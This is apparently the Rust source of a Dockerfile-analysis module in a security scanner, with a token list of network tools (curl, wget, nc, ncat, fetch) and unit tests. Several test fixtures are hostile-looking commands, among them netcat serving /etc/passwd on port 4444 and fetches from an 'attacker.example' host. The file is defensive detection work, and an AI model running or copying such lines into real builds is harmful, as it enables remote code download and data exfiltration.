skill-veil-core 0.1.3

Core library for skill-veil behavioral analysis
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
//! Dockerfile analysis: findings, capability inference, and artifact
//! relations. Compose-only logic lives in the sibling `compose` module.

use crate::artifact_graph::{ArtifactCapability, ArtifactCapabilityFact, ArtifactRelation};
use crate::findings::{
    ArtifactKind, EvidenceKind, Finding, MatchTarget, RecommendedAction, Severity, ThreatCategory,
};
use crate::services::artifact_orchestration::{ArtifactLink, ArtifactOrchestratorService};
use std::path::Path;

use crate::services::artifact_orchestration::manifests::strip_inline_hash_comment;

/// Tokens that, when present in a lowercased Dockerfile line, indicate the
/// build pulls something from the network at image-build time.
///
/// Tokens that need a left boundary to avoid false positives (e.g. `nc`
/// inside `func`) are prefixed with a space. All tokens are matched with
/// word-boundary awareness: a token matches when followed by whitespace,
/// a shell operator (`|`, `;`, `&`, `>`), or end-of-line. This catches
/// pipe-joined commands like `curl|sh` that lack trailing whitespace.
const DOCKERFILE_NETWORK_DOWNLOAD_TOKENS: &[&str] = &[
    "curl",
    "wget",
    "invoke-webrequest",
    "ncat",
    " nc",
    "fetch",
    "python -m urllib",
    "python -m http",
    "python -c \"import urllib",
    "python -c 'import urllib",
    "perl -mlwp",
];

pub(crate) fn analyze_dockerfile(path: &Path, content: &str) -> Vec<Finding> {
    let artifact_path = path.display().to_string();
    let mut findings = Vec::new();

    for line in content.lines().map(str::trim) {
        let lower_line = line.to_ascii_lowercase();
        if lower_line.starts_with("from ") && is_latest_tag(&lower_line) {
            findings.push(
                Finding::builder("MANIFEST_DOCKER_LATEST_TAG", ThreatCategory::SupplyChain)
                    .severity(Severity::Low)
                    .action(RecommendedAction::RequireApproval)
                    .evidence_kind(EvidenceKind::Context)
                    .matched_on(MatchTarget::ReferencedFile {
                        path: artifact_path.clone(),
                    })
                    .artifact(ArtifactKind::PackageManifest, Some(artifact_path.clone()))
                    .match_value(line)
                    .reason("Docker base image uses the mutable latest tag")
                    .build(),
            );
        }
    }

    findings
}

pub(crate) fn dockerfile_capabilities(content: &str) -> Vec<ArtifactCapabilityFact> {
    let mut has_expose = false;
    let mut has_run = false;
    let mut has_copy_or_add = false;
    let mut has_network_download = false;

    for line in content.lines() {
        let code = strip_inline_hash_comment(line.trim_start());
        let trimmed = code.to_ascii_lowercase();
        if !has_expose && (trimmed.starts_with("expose ") || trimmed.trim_end() == "expose") {
            has_expose = true;
        }
        if !has_run && trimmed.starts_with("run ") {
            has_run = true;
        }
        if !has_copy_or_add && (trimmed.starts_with("copy ") || trimmed.starts_with("add ")) {
            has_copy_or_add = true;
        }
        if !has_network_download
            && DOCKERFILE_NETWORK_DOWNLOAD_TOKENS
                .iter()
                .any(|t| token_with_boundary(&trimmed, t))
        {
            has_network_download = true;
        }
        // Dockerfile `ADD <url> <dest>` downloads from HTTP/HTTPS URLs at
        // build time — functionally equivalent to `RUN curl … | bash` but
        // invisible to the token-based network detection above.
        if !has_network_download
            && trimmed.starts_with("add ")
            && (trimmed.contains("http://") || trimmed.contains("https://"))
        {
            has_network_download = true;
        }
    }

    let mut capabilities = Vec::new();
    if has_expose {
        capabilities.push(ArtifactOrchestratorService::declared_capability(
            ArtifactCapability::NetworkAccess,
        ));
    }
    if has_network_download {
        capabilities.push(ArtifactOrchestratorService::observed_capability(
            ArtifactCapability::NetworkAccess,
        ));
    }
    if has_run {
        capabilities.push(ArtifactOrchestratorService::declared_capability(
            ArtifactCapability::ProcessExecution,
        ));
    }
    if has_copy_or_add {
        capabilities.push(ArtifactOrchestratorService::declared_capability(
            ArtifactCapability::FilesystemWrite,
        ));
    }

    capabilities
}

pub(crate) fn dockerfile_relations(content: &str) -> Vec<ArtifactLink> {
    let mut links = Vec::new();
    for line in content.lines().map(str::trim) {
        let code = strip_inline_hash_comment(line);
        let lower = code.to_ascii_lowercase();
        if lower.starts_with("from ") {
            links.push(ArtifactLink {
                target: code[5..].trim().to_string(),
                relation: ArtifactRelation::Loads,
            });
        }
        // Mirror `dockerfile_capabilities`: any token in
        // `DOCKERFILE_NETWORK_DOWNLOAD_TOKENS` is a remote-fetch.
        // Pre-fix relations only saw `curl` and `wget`, so a Dockerfile
        // using `python -m urllib`, `nc`, `fetch`, etc. recorded
        // `NetworkAccess` capability without the matching `Downloads`
        // edge — the artifact graph then missed cross-artifact composite
        // capabilities (e.g. `ShellDownloadExec`) that key off the edge.
        if DOCKERFILE_NETWORK_DOWNLOAD_TOKENS
            .iter()
            .any(|t| token_with_boundary(&lower, t))
        {
            links.push(ArtifactLink {
                target: "remote-resource".to_string(),
                relation: ArtifactRelation::Downloads,
            });
        }
    }
    links
}

/// Check that `:latest` is a tag boundary, not a substring like
/// `:latest-alpine` or `:latest-rc`. After `:latest`, the next character
/// must be whitespace, end-of-string, or a comment (`#`).
fn is_latest_tag(lower_line: &str) -> bool {
    lower_line.contains(":latest")
        && lower_line.split(":latest").any(|after| {
            after.is_empty()
                || after.starts_with(' ')
                || after.starts_with('\t')
                || after.starts_with('#')
                || after.starts_with('\n')
        })
}

/// Match a network-download token with word-boundary awareness.
///
/// Before the token, the preceding character (if any) must be whitespace,
/// a shell operator (`|`, `;`, `&`), or start-of-line. After the token,
/// the next character must be whitespace, a shell operator (`|`, `;`, `&`,
/// `>`), a Python module separator (`.`), or end-of-string.
///
/// The left boundary rejects substrings like `prefetch` → `fetch` and
/// `uncurl` → `curl`. The right boundary catches pipe-joined commands
/// like `curl|sh` that lack trailing whitespace. The `.` boundary catches
/// `python -m urllib.request` which is the same download vector as
/// `python -m urllib`.
fn token_with_boundary(lower_line: &str, token: &str) -> bool {
    let mut start = 0;
    while let Some(pos) = lower_line[start..].find(token) {
        let abs_pos = start + pos;
        let token_end = abs_pos + token.len();
        let before = if abs_pos > 0 {
            lower_line.as_bytes().get(abs_pos - 1)
        } else {
            None
        };
        // Tokens that start with a space (e.g. " nc") carry their own
        // left boundary. Otherwise, the character before the token must
        // be a word boundary.
        let left_ok = token.starts_with(' ')
            || before.is_none()
            || matches!(
                before,
                Some(b' ') | Some(b'\t') | Some(b'|') | Some(b';') | Some(b'&')
            );
        let after = lower_line.get(token_end..).unwrap_or("");
        let right_ok = after.is_empty()
            || after.starts_with(' ')
            || after.starts_with('\t')
            || after.starts_with('|')
            || after.starts_with(';')
            || after.starts_with('&')
            || after.starts_with('>')
            || after.starts_with('.')
            || after.starts_with(':');
        if left_ok && right_ok {
            return true;
        }
        start = token_end;
    }
    false
}

#[cfg(test)]
mod tests {
    use super::*;

    fn capability_present(caps: &[ArtifactCapabilityFact], target: ArtifactCapability) -> bool {
        caps.iter().any(|fact| fact.capability == target)
    }

    /// Contract: an inline `# ... curl ...` comment in a Dockerfile must
    /// NOT flip `NetworkAccess` to observed. The pre-fix code only
    /// suppressed lines whose first non-whitespace char was `#`, so
    /// `RUN echo ok # curl example.com` would still match `"curl "`
    /// in the lower-cased line.
    #[test]
    fn dockerfile_capabilities_skips_curl_in_inline_comment() {
        let content = "FROM alpine:3\nRUN echo ok # was: curl https://old\n";
        let caps = dockerfile_capabilities(content);
        // declared NetworkAccess from EXPOSE etc. would still be possible,
        // but in this fixture there is no EXPOSE — so neither declared
        // nor observed NetworkAccess should be present.
        assert!(!capability_present(
            &caps,
            ArtifactCapability::NetworkAccess
        ));
    }

    /// Contract: a real `RUN curl ...` step still flips observed
    /// NetworkAccess. Pins that the inline-comment stripper does not
    /// erase the real curl preceding the `#`.
    #[test]
    fn dockerfile_capabilities_detects_real_curl_with_trailing_comment() {
        let content = "FROM alpine:3\nRUN curl https://x  # bootstrap\n";
        let caps = dockerfile_capabilities(content);
        assert!(capability_present(&caps, ArtifactCapability::NetworkAccess));
    }

    /// Contract: an inline `# ... curl ...` comment in a Dockerfile must
    /// NOT add a Downloads link. The pre-fix code suppressed only lines
    /// whose first non-whitespace char was `#`, so the trailing comment
    /// fed into `artifact_taint` and produced a spurious
    /// `ARTIFACT_TAINT_DOWNLOAD_TO_EXECUTION` Critical finding when
    /// combined with any process-execution edge in the package.
    #[test]
    fn dockerfile_relations_skips_curl_in_inline_comment() {
        let content = "FROM alpine:3\nRUN echo ok # was: curl https://gone\n";
        let links = dockerfile_relations(content);
        assert!(
            links.iter().all(|l| l.target != "remote-resource"),
            "no Downloads link should be created from an inline-comment curl; got {links:?}",
        );
    }

    /// Contract: a real `RUN curl ...` step still produces a Downloads
    /// link. Anchors that the inline-comment stripper preserves real
    /// evidence preceding the `#`.
    #[test]
    fn dockerfile_relations_detects_real_curl_with_trailing_comment() {
        let content = "FROM alpine:3\nRUN curl https://x  # bootstrap\n";
        let links = dockerfile_relations(content);
        assert!(
            links.iter().any(|l| l.target == "remote-resource"),
            "real curl invocation should produce a Downloads link; got {links:?}",
        );
    }

    /// Contract: a Dockerfile that fetches a payload via `python -m
    /// urllib.request` MUST flip the observed NetworkAccess capability.
    /// Pre-fix, only `curl`, `wget`, and `invoke-webrequest` were detected,
    /// so a `python:slim`-based image fetching with `python -m urllib.request`
    /// silently failed the capability check.
    #[test]
    fn dockerfile_capabilities_detects_python_urllib_download() {
        let content = "FROM python:3.11-slim\nRUN python -m urllib.request https://x/payload\n";
        let caps = dockerfile_capabilities(content);
        let has_observed_network = caps.iter().any(|fact| {
            fact.capability == ArtifactCapability::NetworkAccess
                && fact.source == crate::artifact_graph::ArtifactCapabilitySource::Observed
        });
        assert!(
            has_observed_network,
            "python -m urllib must flip observed NetworkAccess; got {caps:?}",
        );
    }

    /// Contract: BSD `fetch` and raw `nc` (netcat) are equally valid
    /// download/exfil tools and must trip the same capability gate.
    #[test]
    fn dockerfile_capabilities_detects_fetch_and_netcat() {
        let fetch = "FROM alpine\nRUN fetch -o /tmp/x https://internal/payload\n";
        let nc = "FROM alpine\nRUN nc -lvp 4444 > /tmp/x\n";
        for content in [fetch, nc] {
            let caps = dockerfile_capabilities(content);
            assert!(
                caps.iter().any(|fact| {
                    fact.capability == ArtifactCapability::NetworkAccess
                        && fact.source == crate::artifact_graph::ArtifactCapabilitySource::Observed
                }),
                "expected observed NetworkAccess for {content:?}; got {caps:?}",
            );
        }
    }

    /// Contract: tokens like `nc` MUST require explicit whitespace boundaries
    /// — a substring match against `func`, `unc`, `vncserver`, etc., would
    /// over-fire. This pins the negative case to keep the boundary logic.
    #[test]
    fn dockerfile_capabilities_does_not_overmatch_substrings_of_nc() {
        let content = "FROM alpine\nRUN apk add func unc vncserver\n";
        let caps = dockerfile_capabilities(content);
        let has_observed_network = caps.iter().any(|fact| {
            fact.capability == ArtifactCapability::NetworkAccess
                && fact.source == crate::artifact_graph::ArtifactCapabilitySource::Observed
        });
        assert!(
            !has_observed_network,
            "substrings like func/unc/vncserver must not trip observed NetworkAccess; got {caps:?}",
        );
    }

    /// Contract: `dockerfile_relations` must record a `Downloads` edge for
    /// EVERY token in `DOCKERFILE_NETWORK_DOWNLOAD_TOKENS`, paralleling
    /// `dockerfile_capabilities`. Pre-fix only `curl `/`wget ` produced an
    /// edge, so a Dockerfile using `python -m urllib`, `nc`, `fetch`, etc.,
    /// declared NetworkAccess capability without the matching Downloads
    /// edge — and downstream composite-capability detectors that key off
    /// the edge (e.g. `ShellDownloadExec`) silently missed.
    #[test]
    fn dockerfile_relations_records_download_edge_for_python_urllib() {
        let content = "FROM alpine\nRUN python -m urllib https://attacker.example/x.py\n";
        let links = dockerfile_relations(content);
        assert!(
            links
                .iter()
                .any(|l| matches!(l.relation, ArtifactRelation::Downloads)
                    && l.target == "remote-resource"),
            "python -m urllib must produce a Downloads edge; got {links:?}",
        );
    }

    /// Contract: same coverage parity for `nc`/`ncat`/`fetch`/`perl -mlwp`
    /// — pre-fix the edge only fired for `curl`/`wget`. Pinning the four
    /// most common alternatives keeps the parity from regressing.
    #[test]
    fn dockerfile_relations_records_download_edge_for_alternate_tools() {
        for token in [
            "RUN nc -lvp 4444 < /etc/passwd\n",
            "RUN ncat attacker.example 4444\n",
            "RUN fetch https://attacker.example/x\n",
            "RUN perl -MLWP::Simple -e 'getstore(...)'\n",
        ] {
            let content = format!("FROM alpine\n{token}");
            let links = dockerfile_relations(&content);
            assert!(
                links
                    .iter()
                    .any(|l| matches!(l.relation, ArtifactRelation::Downloads)),
                "token line `{token}` must produce a Downloads edge; got {links:?}",
            );
        }
    }

    /// Contract: regression guard for the original `curl`/`wget` coverage.
    /// The fix must NOT drop the cases that already worked.
    #[test]
    fn dockerfile_relations_still_records_curl_and_wget() {
        for token in ["RUN curl https://x\n", "RUN wget https://x\n"] {
            let content = format!("FROM alpine\n{token}");
            let links = dockerfile_relations(&content);
            assert!(
                links
                    .iter()
                    .any(|l| matches!(l.relation, ArtifactRelation::Downloads)),
                "`{token}` must keep producing a Downloads edge; got {links:?}",
            );
        }
    }

    /// Contract: `dockerfile_relations` must use word-boundary-aware matching
    /// (like `dockerfile_capabilities`), not bare substring matching. Pre-fix,
    /// `lower.contains(t)` matched substrings like "prefetch" → "fetch" and
    /// "func" → "nc", producing spurious `Downloads` edges without a matching
    /// `NetworkAccess` capability.
    #[test]
    fn dockerfile_relations_does_not_overmatch_substrings() {
        for line in ["RUN prefetch npm package", "RUN apk add func unc vncserver"] {
            let content = format!("FROM alpine\n{line}\n");
            let links = dockerfile_relations(&content);
            assert!(
                !links
                    .iter()
                    .any(|l| matches!(l.relation, ArtifactRelation::Downloads)),
                "substring in `{line}` must not produce a Downloads edge; got {links:?}",
            );
        }
    }
}